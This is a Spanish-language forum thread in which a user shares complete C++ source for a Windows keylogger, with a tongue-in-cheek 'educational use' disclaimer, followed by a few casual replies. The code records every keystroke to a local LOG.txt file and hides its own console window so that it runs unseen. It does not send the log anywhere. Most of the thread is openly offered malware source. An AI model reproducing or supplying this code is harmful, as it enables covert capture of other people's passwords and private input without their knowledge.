[c++] Keylogger

  • 3 Respuestas
  • 1420 Vistas

Valarjar
Hijo de Odyn

[c++] Keylogger
« en: Abril 11, 2017, 19:12:28 pm »
Haciendo una limpieza de disco duro, encontre el código fuente en c++ de un keylogger , no me acuerdo si lo he programado yo o lo encontré en algun lado, la fecha de modificación es del 2009.

No hagáis maldades , es para uso educativo jeje.

Código: C++
  1. #include <iostream>
  2. using namespace std;
  3. #include <windows.h>
  4. #include <winuser.h>
  5. int Save (int key_stroke, char *file);
  6. void Stealth();
  7.  
  8. int main()
  9. {
  10. Stealth();
  11. char i;
  12.  
  13. while (1)
  14. {
  15. for(i = 8; i <= 190; i++)
  16. {
  17. if (GetAsyncKeyState(i) == -32767)
  18. Save (i,"LOG.txt");
  19. }
  20. }
  21. system ("PAUSE");
  22. return 0;
  23. }
  24.  
  25. /* *********************************** */
  26.  
  27. int Save (int key_stroke, char *file)
  28. {
  29. if ( (key_stroke == 1) || (key_stroke == 2) )
  30. return 0;
  31.  
  32. FILE *OUTPUT_FILE;
  33. OUTPUT_FILE = fopen(file, "a+");
  34.  
  35. cout << key_stroke << endl;
  36.  
  37. if (key_stroke == 8)
  38. fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
  39. else if (key_stroke == 13)
  40. fprintf(OUTPUT_FILE, "%s", "\n");
  41. else if (key_stroke == 32)
  42. fprintf(OUTPUT_FILE, "%s", " ");
  43. else if (key_stroke == VK_TAB)
  44. fprintf(OUTPUT_FILE, "%s", "[TAB]");
  45. else if (key_stroke == VK_SHIFT)
  46. fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
  47. else if (key_stroke == VK_CONTROL)
  48. fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
  49. else if (key_stroke == VK_ESCAPE)
  50. fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
  51. else if (key_stroke == VK_END)
  52. fprintf(OUTPUT_FILE, "%s", "[END]");
  53. else if (key_stroke == VK_HOME)
  54. fprintf(OUTPUT_FILE, "%s", "[HOME]");
  55. else if (key_stroke == VK_LEFT)
  56. fprintf(OUTPUT_FILE, "%s", "[LEFT]");
  57. else if (key_stroke == VK_UP)
  58. fprintf(OUTPUT_FILE, "%s", "[UP]");
  59. else if (key_stroke == VK_RIGHT)
  60. fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
  61. else if (key_stroke == VK_DOWN)
  62. fprintf(OUTPUT_FILE, "%s", "[DOWN]");
  63. else if (key_stroke == 190 || key_stroke == 110)
  64. fprintf(OUTPUT_FILE, "%s", ".");
  65. else
  66. fprintf(OUTPUT_FILE, "%s", &key_stroke);
  67.  
  68. fclose (OUTPUT_FILE);
  69. return 0;
  70. }
  71.  
  72. /* *********************************** */
  73.  
  74. void Stealth()
  75. {
  76.         HWND Stealth;
  77.         AllocConsole();
  78.         Stealth = FindWindowA("ConsoleWindowClass", NULL);
  79.         ShowWindow(Stealth, 0);
  80. }
  81.  

kaskull

Re:[c++] Keylogger
« Respuesta #1 en: Abril 11, 2017, 20:02:11 pm »
Bfff los buenos keyloggers, yo los usaba de muy pequeño xd
while(living){
Smile=true;
Happines=true;
}

Re:[c++] Keylogger
« Respuesta #2 en: Abril 18, 2017, 11:22:28 am »
Jajaja, creo recordar que no usé nunca ninguno.


Valarjar
Hijo de Odyn

Re:[c++] Keylogger
« Respuesta #3 en: Abril 18, 2017, 12:49:27 pm »
Este es básico, sin funciones de FTP ni nada, el log queda guardado en el equipo dónde lo ejecutes.